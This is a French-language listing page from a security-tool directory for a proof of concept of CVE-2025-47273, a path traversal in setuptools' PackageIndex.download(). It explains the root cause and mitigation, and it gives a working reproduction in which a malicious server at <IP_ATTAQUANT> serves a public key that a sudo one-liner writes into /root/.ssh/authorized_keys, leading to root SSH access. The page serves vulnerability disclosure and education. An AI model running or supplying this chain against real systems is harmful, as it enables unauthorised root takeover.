Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 est une vulnérabilité de traversée de chemin de haute sévérité dans la bibliothèque setuptools ,plus précisément la version 78.1.0 . | Kitploit
Outils/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Escalade de PrivilègesAnalyse des VulnérabilitésAnalyse de CodeExploitationSécurité de la Chaîne LogistiqueApprentissage et Éducation
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 est une vulnérabilité de traversée de chemin de haute sévérité dans la bibliothèque setuptools ,plus précisément la version 78.1.0 .

Voir le dépôt
13il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-47273 : setuptools version 78.1.0 - Chemin de traversée dans setuptools.package_index

Avertissement

Cette preuve de concept (PoC) est destinée à des fins éducatives et uniquement à des audits de sécurité autorisés. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique.


Analyse de la vulnérabilité

CVE-2025-47273 est une vulnérabilité de chemin de traversée (path traversal) trouvée dans le module package_index de la bibliothèque setuptools (v78.1.0 et versions antérieures). La vulnérabilité permet à un attaquant d'effectuer une écriture arbitraire de fichier en fournissant une URL spécialement conçue à la méthode PackageIndex.download().

La cause racine : le comportement de os.path.join()

Le défaut provient d'un piège courant dans la fonction os.path.join() de Python. Selon la documentation Python :

Si un composant est un chemin absolu, tous les composants précédents sont rejetés et la jonction continue à partir du composant de chemin absolu.

Dans la version vulnérable de setuptools, le nom de fichier de destination est déterminé en extrayant un nom de l'URL et en le joignant à un répertoire temporaire :

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

Si un attaquant fournit une URL où la partie nom de fichier (après décodage URL) commence par une barre oblique /, os.path.join ignore le préfixe tmpdir et renvoie le chemin absolu fourni dans l'URL.

Diagramme du flux de la vulnérabilité

root@kitploit:~
[ URL contrôlée par l'attaquant ]
http://attaquant.local/%2fetc%2fpasswd
          |
          | 1. Décodage URL
          v
[ Nom de fichier décodé (name) ]
"/etc/passwd"
          |
          | 2. Appel de la fonction vulnérable
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Logique de os.path.join de Python
          v
[ Chemin résultant (filename) ]
"/etc/passwd"  <-- /tmp/download_dir est abandonné !

Impact technique

Puisque le chemin de destination peut être manipulé en un chemin absolu, un attaquant peut écrire du contenu arbitraire à n'importe quel endroit du système de fichiers où le processus dispose des droits d'écriture.

Scénarios à fort impact :

  1. Élévation de privilèges : Si le processus utilisant setuptools s'exécute avec des privilèges élevés (par exemple, un installateur système), un attaquant peut écraser des fichiers système critiques comme /etc/passwd, /root/.ssh/authorized_keys ou /etc/shadow et bien d'autres possibilités...
  2. Persistance / Exécution de code à distance (RCE) : L'écrasement de fichiers de configuration utilisateur tels que ~/.bashrc, ~/.ssh/authorized_keys, ou l'injection de code dans des bibliothèques Python existantes peut conduire à une exécution de code à distance persistante.

Reproduction (écrasement de /root/.ssh/authorized_keys)

Configuration de l'environnement

La vulnérabilité est présente dans la version 78.1.0 de setuptools.

root@kitploit:~
pip install setuptools==78.1.0

1. Générer les paires de clés SSH dans le répertoire du PoC

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. Démarrer le serveur malveillant (machine de l'attaquant)

Le script server.py agit comme un index de paquets malveillant. Il sert un fichier de payload quel que soit le chemin demandé, et le fichier que nous servons est id_rsa.pub.

root@kitploit:~
python3 server.py 80

2. Exécuter l'exploit (machine cible)

Déclencher l'écriture de fichier avec cette commande, puis vous pouvez vous connecter en SSH en tant que root avec la paire de clés SSH pré-générée.

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<IP_ATTAQUANT>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. Enfin, se connecter en SSH à la machine cible en tant que root avec la clé privée créée à l'étape 1

root@kitploit:~
ssh -i id_rsa root@<ip-cible>

Mesures d'atténuation

La vulnérabilité a été corrigée dans la version 78.1.1 de setuptools. Le correctif consiste à assainir strictement la variable name dérivée de l'URL pour garantir qu'elle ne contient pas de barres obliques au début ni de lettres de lecteur avant d'être passée à os.path.join().

Pour sécuriser votre environnement :

root@kitploit:~
pip install --upgrade setuptools

Références

  • Problème setuptools #4946
  • NVD - CVE-2025-47273
  • Rapport de prime Huntr
Télécharger l’outil